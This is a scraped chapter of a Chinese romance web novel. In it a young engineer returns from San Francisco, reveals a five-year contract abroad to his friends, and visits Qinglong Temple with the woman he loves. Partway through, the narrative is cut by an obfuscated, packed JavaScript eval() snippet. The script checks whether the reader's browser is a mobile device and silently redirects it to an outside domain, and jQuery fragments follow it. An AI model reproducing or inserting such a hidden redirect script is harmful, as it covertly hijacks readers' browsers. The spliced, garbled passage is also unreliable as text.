17. 青龙寺

作品:《半生守望

    到黎江市已经是在下午,沈翌在飞机上睡过一觉,此时面对国内的阳光神采奕奕。


    他从关口出来时,看见徐清旖抱着一大束鲜花和一块硬纸板,上面写着“欢迎最厉害的沈翌回国!”


    感叹号后面还夸张地画了一个笑脸,看起来又傻又可爱。


    “怎么样?”徐清旖问的是自己手里拿的纸板,然后又摁住沈翌握着行李箱的手,皱着眉毛围着他转了个圈。


    沈翌憋着笑等她打量的结论,只听见徐清旖“咦”了一声,对他说:“你长高了是不是?怎么还晒黑了?”


    “那边吃得比较好。”


    沈翌又想从她手里拿过那块硬纸板,却被她躲开。


    听见她说:“你也没长胖啊?听说那边的食物热量很高,你怎么只长高,挺会长啊。”


    沈翌摇摇头,催着她出机场。


    黎江市的变化很大,从机场到勃艮第路的一路上新建了许多高楼。


    沈翌在美国两年多没怎么去过别的地方,但单就于旧金山来说,这样看来差距已经没有很大。


    晚上的饭店就订在勃艮第路距离相机店不远的地方,这也是沈翌和徐清旖商量好的,以免万师傅还需要四处寻找。


    可是他没有想到在这里会遇见李其深。


    两年前他去拉萨之前,李其深对他说要去参加一个酒店的面试,那时因为自己即将离开,所以也没有认真向他了解。


    此时站在酒店里,李其深穿着一身熨烫妥贴的西装站在他们对面,沈翌觉得这一定是所谓的缘分。


    “什么时候回来的?”


    时间已经不早,李其深索性提前下了班,换了一套舒适的常服在他们身边坐下。


    他向万师傅和徐清旖问好,这些都是他听说过名字但没怎么见过的人。


    “刚到。”沈翌他们已经吃了一会儿,此时他替李其深拆开碗筷,放在他面前,问他:“现在在这里上班做什么?”


    李其深站起来给万师傅和徐清旖杯里添酒,然后又给沈翌和自己斟满一杯,“销售经理,误打误撞的。”


    “这是你当初那位室友?”万师傅问。


    沈翌点点头,“对,以前受了他很多照顾。”


    李其深不说话,端起酒杯向万师傅和徐清旖示意,也没有看沈翌,仰头一口闷了下去。


    “这样喝容易醉的。”徐清旖扯了扯沈翌的衣袖,让他劝一劝。


    李其深又给自己添酒,自顾自说话。


    “你小子,当年走也不提前说一声,有天下午我回家,东西就都没了,本来你东西就不多,我以为你又去了哪里玩。”


    他用酒杯在沈翌放在桌上的杯子碰了碰,又喝下去,然后说:“直到有一天房东带人来看房,我才能确定你自己跑了。”


    当年沈翌离开是和公司一起走的,他没有告诉任何人离开的时间,徐清旖和万师傅问的时候也只说不清楚。


    他不擅长离别,更不愿意去经历。


    在他闷头喝下第三杯白酒的时候,沈翌才伸出手去阻止。


    “好了,这样喝胃会出问题的。”


    李其深心里有气,但不至于闹很大的脾气,半晌过后才吸了吸鼻子,“你小子。”


    平复好情绪以后,他叫来服务员又加了几个菜,问沈翌:“这次回来待多久?”


    “三天,明天回家。”


    “然后呢?你去了哪里?”李其深问。


    “美国。”沈翌一边拿过万师傅的碗给他乘汤,一边回答李其深,“没告诉你不是不把你当朋友,是给你说这件事的时候还没有确定,从拉萨回来之后走得匆忙。”


    李其深点点头,看见沈翌又拿了徐清旖的碗,又问:“还是做相机吗?”


    “差不多,但不止。”沈翌说:“之后还会研究电影成像。”


    “之后?还回美国吗?”徐清旖问。


    沈翌将碗放回她面前的动作顿了顿,隔了一会儿又想给李其深盛汤,李其深挡住他的手。


    “我自己来。”


    沈翌才叹了一口气,回答徐清旖的问题。


    “我签了劳务合同,明年回不来。”


    “那是多久?”


    “五年。”


    沈翌回答得好似漫不经心,只有他自己知道他有多紧张。


    “这五年和以前不一样,我可以随时回国。”


    饭桌上静了静,万师傅看着他欲言又止,最后还是问他:“是自愿的吗?”


    “当然。”沈翌笑了笑,“别担心。”


    “去之前签的?还是之后?”


    “刚去的时候。”


    “沈翌,拜托你把那个菜给我转过来啊,我好想吃。”


    李其深出声打破了这个压抑的氛围,“不就是五年嘛,五年之后你也不到30岁,还很年轻。”


    “还是在旧金山吗?”


    万师傅看了看徐清旖,后者正埋着脑袋喝汤。


    “对,我还申请了斯坦福的硕士学位,所以也不是没有好的一面。”


    沈翌故作轻松地说:“况且工资很高。”


    李其深在这间酒店上班以后,为了节省一直住在酒店后面的员工宿舍。


    他偷偷去买单才发现沈翌已经在前台结过账了,于是他又想送他们回家。


    沈翌婉拒了他的提议,让他先在这里陪一下万师傅,自己先送徐清旖回家。


    “你之前……怎么没有告诉我还有五年?”


    徐清旖提着包,黎江的冬季不会很冷,一件呢子大衣套一件薄薄的毛衣就已经足够。


    沈翌走在她身后几步的位置,这个距离伸出手就能碰到她。


    但他仍然保持着现状,没有加快脚步。


    “没想好怎么说。”


    “清旖。”


    沈翌叫住她,徐清旖停了下来,却没有转过身看他。


    “这五年里,我大概率是回不了国的。”


    “没关系。”徐清旖低下头,弯着嘴角露出一个只有自己知道的笑,“五年嘛,很快的。”


    沈翌往前走了一步,路灯下两人的影子靠在一起。


    一个低着头,一个微微弯着腰,像是两个已至耄耋的老人。


    他们之间隔着一层毛玻璃,现实握着沈翌的手不让他打破,徐清旖在另一头,怎么样也望不到清明的未来。


    -


    那年拉萨没有去成色拉寺,今年冬天却和沈翌一起到了青龙寺。


    青龙寺是一座新建的寺庙,青瓦红墙,墙边还种着几棵漂亮的梅树。


    他们走到偏殿的位置,在这里有一处红色拱门,拱门两侧刻着“人杰地灵,物华天宝”。


    徐清旖用手摸了摸这几个字,然后对沈翌说:“哎,他们说在这里许愿很灵验的,去看看吗?”


    “在哪里?”沈翌的手里捏着一个泥塑,这是他们在山下买的,是一只很可爱的小狗,今年是狗年。


    “跟我来。”徐清旖牵着他的手腕,越过这个小院和一处正殿,来到一棵很大的树旁。


    这棵树上面挂满了红色的布条,树又被一圈栏杆围着,栏杆上挂着很多的红色的许愿牌。


    徐清旖拉着他走到一位僧人旁边,她问对方:“你好,请问这两种许愿方式有什么区别吗?”


    僧人看了他们一眼,朝他们微微点头。


    “这是我们寺里的许愿树,红布条有的求爱情,有的求学业,有的求平安,只需要写上自己的名字


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389892|184237||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,将它扔上去,扔得越高越好。”


    “许愿牌则是写下自己的愿望,然后利用红丝带将它绑在此处即可。”


    徐清旖点点头向他道谢,“沈翌,我们都买吧?”


    “好。”


    徐清旖于是走到小摊前,买了两根红布条。


    “这个求平安,还有你不是在申请研究生吗?这一根求你的学业。”


    卖布带的人看了看他们,然后笑着问她:“姑娘,不求姻缘啊?”


    徐清旖张了张嘴,还没来得及开口,就听见沈翌说:“再买一根。”


    她的臂力不够,扔了几次都从树枝的缝隙中掉下来,最后还是沈翌将三根全部扔了上去,在木棉树的最顶端。


    清风一吹过,红布条底端绑着的小铃铛一阵作响,浪漫又赏心悦目。


    “说起来,这些年我很信这个。”徐清旖说。


    “什么?”


    等到他们赶在最后一波人一起下山的时候,徐清旖才又接过了这个话,“山上不能说的。”


    “你是我身边走得最远的人。”


    徐清旖拢了拢脖子上的围巾,哈出一口白气,两只圆圆的眼睛盯着沈翌。


    “小时候听收音机,以为世界上只有中国和外国两个国家,长大以后,熟识的人里也只有你出了国。”


    “我从来没去过那么远的地方,我胆子太小了,只要一想到那么远的距离就会不由自主地害怕出现意外,现在也是。”


    徐清旖说:“害怕你出意外,所以每一次可以许愿时,都想着祈求你能够平安。”


    “不过你应该不相信这个吧,这可不能在山上说。”


    她笑了笑,“其他的我什么都做不了了,也不能和你一起去美国,这已经是我能做的所有了。”


    等到快到家的时候,沈翌站在徐清旖家的院门口,才拉住她的衣服一角。


    “已经很多了,清旖。这几年我在外边,碰到过几次无差别的杀人事件,也遇见过美国人举着枪针锋相对的场合,但当我每一次我活着回到宿舍,我就会想我来这里的目的到底是什么。”


    “我们的国家安定幸福,我为什么还要去那么远一个人独自闯荡呢?”


    沈翌垂着眼,只有他自己知道他有点想哭。


    “很多次我这样问自己,很多次自我怀疑,但最后还是继续留下了。当年我没有如所有人所想的那样找到一个高薪工作,我们都知道其中的原因其实根本不仅是我没有更高的学历,更多的是由于我的懦弱。但是当我想明白的时候,我已经走到人生的另一个重要选择面前了。”


    “当初是你让我来黎江的,是你给的我机会。这一次我想自己选,所以无论有多难,我都没有办法放弃。”


    “这几年支撑我的就是我的亲人、朋友还有你的祝愿。”他说:“我可以感受到,你们就在我的身后,你们就是我的后背。”


    大年三十的年夜饭是师母一手操办的,她说沈翌和徐清旖一路奔波辛苦,和徐老师在厨房里忙前忙后做了一大桌子饭。


    吃饭的时候,沈翌问起来林奶奶,沈爷爷支支吾吾了半天。


    最后还是徐老师说:“小沈啊,你别怪你爷爷,当初他也是害怕自己拖累你,所以才骗你的。”


    “骗我的?”


    “当初如果不是我这样说,你怎么愿意离开南城去那边发展呢?”沈爷爷说:“我不想成为你的拖累啊,而且你看,我自己也能照顾好我自己。”


    沈翌急切想回国的原因有很多,但是既然五年的既定事实不能改变,那么只能在这五年里尽力让自己更有能力。


    于是他点点头说:“那你一定要照顾好自己,等我去那边有了新的固定电话再打给你们。”